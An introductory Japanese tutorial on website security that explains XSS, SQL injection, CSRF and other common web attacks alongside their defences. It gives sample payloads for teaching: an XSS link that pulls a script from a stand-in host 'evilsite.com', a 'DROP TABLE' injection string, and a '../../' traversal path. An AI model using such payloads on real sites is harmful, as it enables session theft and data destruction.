Web サイトのセキュリティ
==============

* 前のページ
* Overview: First steps

ウェブサイトのセキュリティでは、ウェブサイトのデザインと使用方法のあらゆる面で警戒が必要です。この入門記事だけではウェブサイトのセキュリティの第一人者にはなれませんが、脅威がどこから発生するのか、そして最も一般的な攻撃に対してウェブアプリケーションを強化するために何ができるのかを理解するのに役立ちます。

| 前提条件: | 基本的なコンピューターリテラシー |
| --- | --- |
| 目標: | ウェブアプリケーションのセキュリティに対する最も一般的な脅威と、サイトがハッキングされるリスクを減らすためにできることを理解する。 |

ウェブサイトのセキュリティとは?
----------------

インターネットは危険な場所です。定期的に、サービス拒否攻撃によってウェブサイトが利用できなくなったり、自分のホームページに変更された (多くの場合有害な) 情報を表示したりすることがあります。その他の注目を集める事例では、何百万ものパスワード、メールアドレス、およびクレジットカードの詳細がパブリックドメインに漏洩し、ウェブサイトの利用者を個人的な当惑と経済的リスクの両方にさらしています。

ウェブサイトのセキュリティの目的は、これらの (または任意の) 種類の攻撃を防ぐことです。ウェブサイトセキュリティのより正式な定義は、*許可されていないアクセス、使用、改変、破壊、または混乱からウェブサイトを保護することです*。

効果的なウェブサイトセキュリティでは、ウェブアプリケーション、Web サーバーの設定、パスワードの作成と更新に関するポリシー、およびクライアント側のコードなど、ウェブサイト全体にわたる設計作業が必要です。すべて不吉に聞こえるかもしれませんが、サーバーサイド Web フレームワークを使用している場合、多くの一般的な攻撃に対して「デフォルトで」堅牢でよく考え抜かれた防御メカニズムがほぼ確実に有効になります。HTTPS を有効にするなど、他の攻撃は Web サーバーの設定を通じて軽減できます。最後に、明らかな間違いを犯したかどうかを確認するのに役立つ、公開されている脆弱性スキャナツールがあります。

この記事の残りの部分では、いくつかの一般的な脅威と、サイトを保護するために実行できる簡単な手順の詳細について説明します。

**メモ:** これは導入トピックであり、ウェブサイトのセキュリティについて考え始めるのに役立つように設計されていますが、網羅的なものではありません。

ウェブサイトのセキュリティ上の脅威
-----------------

このセクションでは、最も一般的なウェブサイトの脅威をいくつか紹介し、それらがどのように軽減されるのかを示します。お読みになったところでは、ウェブアプリケーションがブラウザーから来るデータについて信頼しているか、または十分に妄想的ではない場合に、脅威が最も効果的であることに注意してください。

### クロスサイトスクリプティング (XSS)

XSS は、攻撃者がウェブサイト*を通じて*他のユーザーのブラウザーにクライアントサイドのスクリプトを挿入することを可能にする一連の攻撃を表すために使用される用語です。注入されたコードはサイトからブラウザーに送信されるため、コードは*信頼されており*、ユーザーのサイト認証 Cookie を攻撃者に送信するなどのことが可能です。攻撃者が Cookie を持っていると、あたかもユーザーであるかのようにサイトにログインし、クレジットカードの詳細へのアクセス、連絡先の詳細の表示、パスワードの変更など、ユーザーができることなら何でもできます。

**メモ:** XSS 脆弱性は、他のどの種類のセキュリティの脅威よりも歴史的に一般的です。

XSS 脆弱性は、サイトが挿入されたスクリプトをブラウザーに返す方法に基づいて、*反射型*と*蓄積型*に分けられます。

* サーバーに渡されたユーザーコンテンツが*ただちに*返され、*変更されず*にブラウザー側で表示される場合に、XSS の脆弱性が反映されます。元のユーザーコンテンツのスクリプトはすべて、新しいページが読み込まれたときに実行されます。たとえば、検索語が URL パラメータとしてエンコードされ、これらの語が結果と一緒に表示されるサイト検索機能を考えてみましょう。攻撃者は悪意のあるスクリプトをパラメータとして含む検索リンク (例: `http://mysite.com?q=beer<script%20src="http://evilsite.com/tricky.js"></script>`) を作成し、それを別のユーザーにメールで送信することができます。ターゲットユーザーがこの「関連リンク」をクリックすると、検索結果が表示されたときにスクリプトが実行されます。すでに説明したように、これにより攻撃者はターゲットユーザーとしてサイトに入るために必要なすべての情報が得られ、ユーザーとして購入したり、連絡先情報を共有したりする可能性があります。
* 悪意のあるスクリプトがウェブサイトに保存され、その後、他のユーザーが知らないうちに実行されるように変更されないまま再表示されると、*永続的な* XSS の脆弱性が発生します。たとえば、変更されていない HTML を含むコメントを受け付けるディスカッション掲示板は、攻撃者からの悪意のあるスクリプトが埋め込まれる可能性があります。コメントが表示されると、スクリプトが実行され、ユーザーのアカウントにアクセスするために必要な情報が攻撃者に送信される可能性があります。この種の攻撃は非常に有名で強力です。攻撃者は被害者と直接関わりさえしないかもしれないからです。

`POST` または `GET` リクエストからのデータが XSS の脆弱性の最も一般的な原因ですが、ブラウザーによって表示される Cookie データやアップロードされて表示されるユーザーファイルなど、ブラウザーからのデータはすべて潜在的に脆弱です。

XSS の脆弱性に対する最善の防御策は、コードを実行するための命令を含む可能性があるマークアップを削除または無効にすることです。HTML の場合、これには `<script>`、`<object>`、`<embed>`、および `<link>` などの要素が含まれます。

スクリプトを実行したり、サーバーコードの実行に影響を与えたりすることができないようにユーザーデータを変更するプロセスは、入力サニタイズと呼ばれます。多くのウェブフレームワークは、デフォルトで HTML フォームからのユーザー入力を自動的にサニタイズします。

### SQL インジェクション

SQL インジェクションの脆弱性により、悪意のあるユーザーはデータベース上で任意の SQL コードを実行することができ、ユーザーの許可に関係なくデータへのアクセス、変更、削除ができます。インジェクション攻撃が成功すると、ID を偽装したり、管理者権限を持つ新しい ID を作成したり、サーバー上のすべてのデータにアクセスしたり、データを破壊または変更して使用できなくなる可能性があります。

SQL インジェクションの種類には、エラーベースの SQL インジェクション、ブールエラーに基づく SQL インジェクション、および時間ベースの SQL インジェクションがあります。

ベースとなる SQL ステートメントに渡されるユーザー入力がステートメントの意味を変更する可能性がある場合に、この脆弱性が存在します。たとえば、次のコードは、HTML フォームから提供された特定の名前 (`userName`) を持つすべてのユーザーを一覧表示することを目的としています。


```sql
statement = "SELECT \* FROM users WHERE name = '" + userName + "';"
```


ユーザーが実名を指定した場合、そのステートメントは意図したとおりに機能します。ただし、悪意のあるユーザーは `userName` に太字のテキストを指定するだけで、この SQL ステートメントの動作を次の例の新しいステートメントに完全に変更する可能性があります。


```sql
SELECT \* FROM users WHERE name = 'a';DROP TABLE users; SELECT \* FROM userinfo WHERE 't' = 't';
```


変更された文は、`users` テーブルを削除し、`userinfo` テーブルからすべてのデータを選択する (すべてのユーザーの情報を表示する) 有効な SQL 文を作成します。これは、挿入されたテキストの最初の部分 (`a';`) が元の文を完成させるために機能します。

この種の攻撃を回避するには、SQL クエリに渡されるユーザーデータがクエリの性質を変更できないようにする必要があります。これを行う 1 つの方法は、SQL で特別な意味を持つユーザー入力内のすべての文字をエスケープすることです。

**メモ:** SQL ステートメントは、**'** 文字を文字列リテラルの開始と終了として扱います。この文字の前に円記号を入れる (**\'**) ことで、シンボルをエスケープし、代わりにそれを文字 (文字列の一部) として扱うように SQL に指示します。

次の文では、**'** 文字をエスケープします。SQL は名前を太字の文字列全体として解釈します (これは非常に奇妙な名前ですが、有害ではありません)。


```sql
SELECT \* FROM users WHERE name = 'a\';DROP TABLE users; SELECT \* FROM userinfo WHERE \'t\' = \'t';
```


ウェブフレームワークはしばしばあなたのためにエスケープする文字の面倒を見るでしょう。たとえば、Django はクエリセット (モデルクエリ) に渡されたユーザーデータが確実にエスケープされるようにします。

**メモ:** このセクションはここウィキペディアの情報に大きく依存しています。

### クロスサイトリクエストフォージェリ (CSRF)

CSRF 攻撃は、悪意のあるユーザーが他のユーザーの資格情報を使用して、そのユーザーの知らないうちに同意なしでアクションを実行することを可能にします。

この種の攻撃は、例で最もよく説明されています。John は、特定のサイトでログインユーザーがアカウント名と金額を含む HTTP `POST` リクエストを使用して特定のアカウントに送金できることを知っている悪意のあるユーザーです。John は、自分の銀行の詳細と金額を隠しフィールドとして含むフォームを作成し、それを他のサイトユーザーにメールで送信します ([送信] ボタンは [早く金持ちになる] サイトへのリンクとして偽装)。

ユーザーが[送信]ボタンをクリックすると、トランザクションの詳細と、サイトに関連付けられているブラウザーが要求したクライアント側の Cookie を含む HTTP `POST` リクエストがサーバーに送信されます (リクエストに関連サイトの Cookie を追加するのは通常のブラウザーの動作です)。サーバーは Cookie をチェックし、それらを使用してユーザーがログインしていてトランザクションを実行する権限を持っているかどうかを判断します。

その結果、取引サイトにログインしている間に [送信] ボタンをクリックしたすべてのユーザーが取引を行うことになります。John は金持ちになります。

**メモ:** ここでのトリックは、John がユーザーの cookie (またはアクセス資格情報) にアクセスする必要がないことです。ユーザーのブラウザーはこの情報を保存し、関連するサーバーへのすべてのリクエストに自動的に含めます。

この種の攻撃を防ぐ 1 つの方法は、サーバーが `POST` リクエストにユーザー固有のサイト生成のシークレット情報を含めることを要求することです。転送に使用されるウェブフォームを送信するときに、シークレットがサーバーによって提供されます。この方法では、サーバーからユーザーに提供されているシークレットを知っている必要があるため、John は独自のフォームを作成できません。たとえ彼がシークレットを見つけて特定のユーザーのためにフォームを作成したとしても、彼はもはやその同じフォームを使用してすべてのユーザーを攻撃することはできないでしょう。

ウェブフレームワークには、そのような CSRF 防止メカニズムが含まれていることがよくあります。

### その他の脅威

その他の一般的な攻撃/脆弱性は次のとおりです。

* クリックジャッキング。この攻撃では、悪意のあるユーザーが目に見えるトップレベルサイトのクリックをハイジャックし、その下にある非表示のページにルーティングします。このテクニックは、例えば、合法的な銀行のサイトを表示するが、攻撃者によって制御された目に見えない `<iframe>` にログイン資格情報をキャプチャするために使用されるかもしれません。クリックジャックを使用して、表示されているサイト上のボタンをユーザーにクリックさせることもできますが、実際にはまったく違うボタンを無意識にクリックしています。対応策として、サイトに他のサイトの iframe を埋め込まれないように適切な HTTP ヘッダを設定することで防ぐことができます。
* Denial of Service (DoS)。DoS は通常、正当なユーザーのサイトへのアクセスが妨害されるように、偽のリクエストで対象のサイトをあふれさせることで達成されます。リクエストは単純で多数あり得るか、または個々に大量のリソースを消費し得る (例えば、遅い読み取りまたは大きなファイルのアップロード) ものです。DoS 防御は通常、正当なメッセージの通過を許可しながら、「悪い」トラフィックを識別してブロックすることによって機能します。これらの防御は通常、ウェブサーバーの前または内部にあります (これらはウェブアプリケーション自体の一部ではありません)。
* ディレクトリートラバーサル (ファイルと開示)。この攻撃では、悪意のあるユーザーが ウェブサーバーのファイルシステムのアクセスできない部分にアクセスを試みます。この脆弱性は、ユーザーがファイルシステムのナビゲーション文字を含むファイル名 (たとえば`../../`) を渡すことができる場合に発生します。解決策は、使用する前に入力をサニタイズすることです。
* ファイルインクルード。この攻撃では、ユーザーはサーバーに渡されたデータを表示または実行するための「意図しない」ファイルを指定することができます。このファイルがロードされると、ウェブサーバーまたはクライアントサイドで実行される (XSS 攻撃につながる) 可能性があります。解決策は、使用する前に入力をサニタイズすることです。
* コマンドインジェクション。コマンドインジェクション攻撃により、悪意のあるユーザーはホスト OS で任意のシステムコマンドを実行することができます。解決策は、システムコールで使用される前にユーザー入力をサニタイズすることです。

ウェブサイトのセキュリティ脅威の包括的な一覧については、Category: Web security exploits (Wikipedia) および Category: Attack (Open Web Application Security Project) を参照してください。

いくつかの重要なメッセージ
-------------

ウェブアプリケーションがブラウザーからのデータを信頼している場合、前のセクションのセキュリティ上の悪用のほとんどすべてが成功します。ウェブサイトのセキュリティを向上させるために他に何をしても、ブラウザーから表示される前、SQL クエリで使用される前、または OS やファイルシステムの呼び出しに渡される前に、すべてのユーザー発信データをサニタイズする必要があります。

**警告:** ウェブサイトのセキュリティについて学ぶことができる最も重要な教訓は、**ブラウザーからのデータを決して信用しない**ことです。これには `GET` リクエスト、`POST` リクエスト、HTTP ヘッダと Cookie、およびユーザーがアップロードしたファイルの URL パラメータのデータが含まれますが、これらに限りません。すべての受信データを常にチェックしてサニタイズしてください。常に最悪の事態を想定してください。

あなたが取れる他の具体的な対策はいくつかあります：

* より効果的なパスワード管理を使用してください。定期的に変更される強力なパスワードを推奨します。パスワードに加えてユーザーが別の認証コード (通常は、自分の電話に送信される SMS のコードなど、ユーザーだけが所有する物理的なハードウェアを介して配信されるもの) を入力する必要があるように、サイトの 2 要素認証を検討してください。
* HTTPS および HTTP Strict Transport Security (HSTS) を使用するように Web サーバーを設定します。HTTPS は、クライアントとサーバー間で送信されるデータを暗号化します。これにより、ログイン認証情報、Cookie、`POST` リクエストデータ、およびヘッダ情報が攻撃者に容易に利用されないようになります。
* 最も一般的な脅威 (現在の OWASP リストはこちら) を追跡し、最も一般的な脆弱性を最初に解決します。
* サイトで自動セキュリティテストを実行するには、脆弱性スキャンツールを使用してください。後で、非常に成功したウェブサイトも Mozilla がここでしているようなバグ報奨金を提供することによってバグが見つかるかもしれません。
* 必要なデータのみを保存して表示してください。たとえば、ユーザーがクレジットカード情報などの機密情報を保存する必要がある場合は、ユーザーが識別できるだけの十分なカード番号を表示してください。そうすれば攻撃者がそれをコピーして別のサイトで使用することはできません。現時点で最も一般的なパターンは、クレジットカード番号の最後の 4 桁だけを表示することです。

ウェブフレームワークは、より一般的な脆弱性の多くを軽減するのに役立ちます。

まとめ
---

この記事では、ウェブセキュリティの概念と、ウェブサイトが保護しようとする一般的な脅威について説明しました。最も重要なことは、ウェブアプリケーションはウェブブラウザーからのデータを信頼できないということです。すべてのユーザーデータは、表示する前にサニタイズするか、SQL クエリやファイルシステムコールで使用する必要があります。

この記事で、モジュールの終わりに来ました。サーバーサイドのウェブサイトプログラミングの最初のステップをカバーしました。これらの基本概念を学んで楽しんでいただければ幸いです。これでウェブフレームワークを選択してプログラミングを開始する準備が整いました。

* 前のページ
* Overview: First steps